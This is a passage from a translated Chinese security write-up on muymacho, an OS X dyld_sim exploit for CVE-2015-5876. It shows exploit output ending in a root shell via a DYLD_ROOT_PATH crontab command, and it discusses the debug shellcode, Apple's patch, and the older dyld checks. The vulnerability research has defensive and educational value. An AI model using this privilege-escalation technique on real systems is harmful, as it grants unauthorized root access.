LC_SEGMENT_64: segment 0x11    vm_addr: 0x7ffe5dc1d000    LC_SEGMENT_64: segment 0x12    vm_addr: 0x7ffe5cc1d000    LC_SEGMENT_64: segment 0x13    vm_addr: 0x7ffe5bc1d000    LC_SEGMENT_64: segment 0x14    vm_addr: 0x7ffe5ac1d000    LC_SEGMENT_64: segment 0x15    vm_addr: 0x7ffe59c1d000    LC_SEGMENT_64: segment 0x16    vm_addr: 0x7ffe58c1d000    LC_SEGMENT_64: segment 0x17    vm_addr: 0x7ffe57c1d000    LC_SEGMENT_64: segment 0x18    vm_addr: 0x7ffe56c1d000    LC_SEGMENT_64: segment 0x19    vm_addr: 0x7ffe55c1d000    LC_SEGMENT_64: segment 0x1a    vm_addr: 0x7ffe54c1d000    LC_SEGMENT_64: segment 0x1b    vm_addr: 0x7ffe53c1d000    LC_SEGMENT_64: segment 0x1c    vm_addr: 0x7ffe52c1d000    LC_SEGMENT_64: segment 0x1d    vm_addr: 0x7ffe51c1d000    LC_SEGMENT_64: segment 0x1e    vm_addr: 0x7ffe50c1d000    LC_SEGMENT_64: segment 0x1f    vm_addr: 0x7ffe4fc1d000
[+] building payload
[+] dyld_sim successfully created
To exploit enter:  DYLD_ROOT_PATH=/Users/user/tmp crontab
[email protected]:~/tmp$ DYLD_ROOT_PATH=/Users/user/tmp crontab
bash-3.2#

0x0A 补丁


EI Capitan对dyld做了很多修改。特别是对dyld_sim文件验证更加严格,修补了muymacho使用的漏洞。几种不同的检查保证了连续的segment都拥有正常的fileoff和vmaddr值。

在本文写作时,苹果还没有发布EI Capitan的源代码。但是一些修改可以通过IDA pro来查看。

0x0B 总结


本节总结了本文的大部分内容。我们已经讨论漏洞的发现,问题分析,直到利用。完整的利用程序分享在github

我希望本文能够对你有用。这是个有趣的bug,我非常享受编写muymacho的过程。

谢谢所有修订本文的人(Pete Markowsky, Ian Melven, Josha Bronson)。同时谢谢@i0n1c发布的挑战,是它导致本漏洞的发现。

调试shellcode

有时候我很好奇到底是哪一个segment在利用执行的过程中起到了作用,面对不同的ASLR地址。实际上,真实的地址也不是那么重要。但我还是加入了一段debug shellcode来将信息返回给用户。

debug shellcode通过“-d”参数来开启。在muymacho返回‘#’符号后,输入

#!bash
echo "$MUYMACHO"

可以随意的看看muymacho的调试debug shellcode。调试信息是通过execve调用一个环境变量来传递的。

0x0C 附录


10.10.4及更早

Mac OS X 10.10.4和之前版本就已经添加了DYLD_ROOT_PATH变量。本节讨论一下这个老版本的变量和10.10.5的更新。OS X 10.10.4使用dyld-353.2.1里的dyld.cpp

在早前的useSimulatorDyld()函数中,有一个检查dyld_sim是否被root所有拥有。

#!c
// verify simulator dyld file is owned by root
   struct stat sb;
   if ( fstat(fd, &sb) == -1 )
      return 0;
   if ( sb.st_uid != 0 )
      return 0;

通过对代码段的查看,发现代码签名的要求是可选的。所以唯一的要求就是一个被root用户拥有的,没有签名都行的dyld_sim文件,这当然不会形成阻碍。useSimulatorDyld()将会加载和执行这样的文件。

10.10.5更新

10.10.5更新修补了DYLD_PRINT_FILE漏洞(CVE-2015-3760)。可能由于这个变量漏洞被发现的原因,同时也对useSimulatorDyld()函数进行了修改。

dyld_sim不需要再被root拥有,但是代码签名变为了强制要求。下面是dyld.cpp的部分代码。

#!c
int result = fcntl(fd, F_ADDFILESIGS_FOR_DYLD_SIM, &siginfo);
   if ( result == -1 ) {
      dyld::log("fcntl(F_ADDFILESIGS_FOR_DYLD_SIM) failed with errno=%d\n", errno);
      return 0;
   }

一个新的fcntl命令被加入到10.10.5,针对dyld_sim。下面的代码来自/usr/include/sys/fcntl.h

#!c
#define F_ADDFILESIGS_FOR_DYLD_SIM 83   /* Add signature from same file, only if it is signed by Apple (used by dyld for simulator) */    

dyld_sim需要一个苹果的数字签名,仅仅一个开发者证书是不够的。(译者注:由于在数字签名之前就取得了控制权,所以不会进行验证就到shellcode了)

0x0D CVE号


关于本漏洞的CVE号是这样的,EI Capitan安全升级列表列出了以下bug信息。授予了beist

Dev Tools

Available for: Mac OS X v10.6.8 and later

Impact: A malicious application may be able to execute arbitrary code with system privileges

Description: A memory corruption issue existed in dyld. This was addressed through improved memory handling.

CVE-ID

CVE-2015-5876 : beist of grayhash

同样的CVE也被列入了iOS 9watchOS 2的升级信息中。对iOS 8.4.1中的dyld进行了一个粗略的检查,没有发现和muymacho一样的漏洞。也许是我搞错了,如果有我会更新到本文。

©乌云知识库版权所有 未经许可 禁止转载


30
JGHOOluwa 2015-11-12 15:44:25

消灭0回复~

感谢知乎授权页面模版